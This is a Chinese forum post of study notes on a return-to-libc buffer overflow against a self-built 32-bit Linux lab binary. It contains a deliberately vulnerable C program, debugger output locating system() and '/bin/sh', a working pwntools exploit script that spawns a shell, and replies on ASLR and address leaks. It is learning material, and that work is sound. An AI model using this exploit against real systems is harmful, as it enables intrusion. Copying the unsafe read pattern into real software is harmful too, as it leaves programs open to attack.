首页
社区
课程
招聘
[原创]return2libc in Linux32,学习笔记分享.
发表于: 2016-5-30 22:49 6004

[原创]return2libc in Linux32,学习笔记分享.

2016-5-30 22:49
6004
/*
* gcc -fno-stack-protector -m32 -o level1 stack.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}
    gdb-peda$ checksec 
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial
Sn0rt@warzone:~/lab$ gdb level1
gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/home/Sn0rt/lab/level1
...
0xbffdf000 0xc0000000 rwxp	[stack]

Sn0rt@warzone:~/lab$ gdb level2
gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/home/Sn0rt/lab/level2
...
0xbffdf000 0xc0000000 rw-p	[stack]
Sn0rt@warzone:~/lab$ ./level2 
gdb-peda$ vmmap 
Start      End        Perm	Name
...
0xb7e23000 0xb7fcb000 r-xp	/lib/i386-linux-gnu/libc-2.19.so
0xb7fcb000 0xb7fcd000 r--p	/lib/i386-linux-gnu/libc-2.19.so
0xb7fcd000 0xb7fce000 rw-p	/lib/i386-linux-gnu/libc-2.19.so
...
int
system(const char *command)
{
  pid_t pid;
	sig_t intsave, quitsave;
	sigset_t mask, omask;
	int pstat;
	char *argp[] = {"sh", "-c", NULL, NULL};
	if (!command)		/* just checking... */
		return(1);
	argp[2] = (char *)command;
	sigemptyset(&mask);
	sigaddset(&mask, SIGCHLD);
	sigprocmask(SIG_BLOCK, &mask, &omask);
	switch (pid = vfork()) {
	case -1:			/* error */
		sigprocmask(SIG_SETMASK, &omask, NULL);
		return(-1);
	case 0:				/* child */
		sigprocmask(SIG_SETMASK, &omask, NULL);
		execve(_PATH_BSHELL, argp, environ);
    _exit(127);
}
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>
gdb-peda$ searchmem "/bin/sh" libc
Searching for '/bin/sh' in: libc ranges
Found 1 results, display max 1 items:
libc : 0xb7f83a24 ("/bin/sh")
    140bytes填充 + system地址 + system返回过后的地址 + "/bin/sh"地址
[\CODE]    
新的问题来了,system返回过后的地址是什么?我打算放的函数exit()地址,这个exit也是需要一个参数的.虽然这样解决也不是很好,但是起码不会segment fault.

[CODE]

#!/usr/bin/env python
from pwn import *

p = process('./level2')
ret = 0xb7e561e0
systemaddr = 0xb7e63190
binshaddr = 0xb7f83a24
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()

Sn0rt@warzone:~/lab$ python exp_level2.py 
[+] Starting program './level2': Done
[*] Switching to interactive mode
$ id
uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (7)
雪    币: 457
活跃值: (328)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
谢谢的,学习了。
2016-5-31 07:04
0
雪    币: 216
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
楼主下一篇是不准备 ret2plt 了 ^_^
2016-6-5 22:41
0
雪    币: 262
活跃值: (55)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
4
其实已经写好了plt bypass aslr.不过因为写的烂又因为看雪好像没有什么人搞linux就没有发来,放了Linux323.tk
2016-6-5 23:28
0
雪    币: 216
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
不知道楼主有没有研究过Linux64的shellcode,因为64位系统下,地址高16位为0,不知道怎么处理
2016-6-6 14:28
0
雪    币: 38
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
如果没用到字符串拷贝,而是memcpy等函数,那么是不存在"坏字符"的.
2016-6-21 12:40
0
雪    币: 262
活跃值: (55)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
7
我也是刚刚学还望前辈指教,应该不可以把\x00 通过命令行直接传进去吧?
2016-6-23 21:43
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
不知道讲的对不对。。不过在ctf里面碰到的这一类借助libc的一般system地址都不是固定的要通过write一类的函数泄露自己加载后的地址然后根据偏移地址确定system的实际地址
2017-3-6 10:14
0
游客
登录 | 注册 方可回帖
返回
//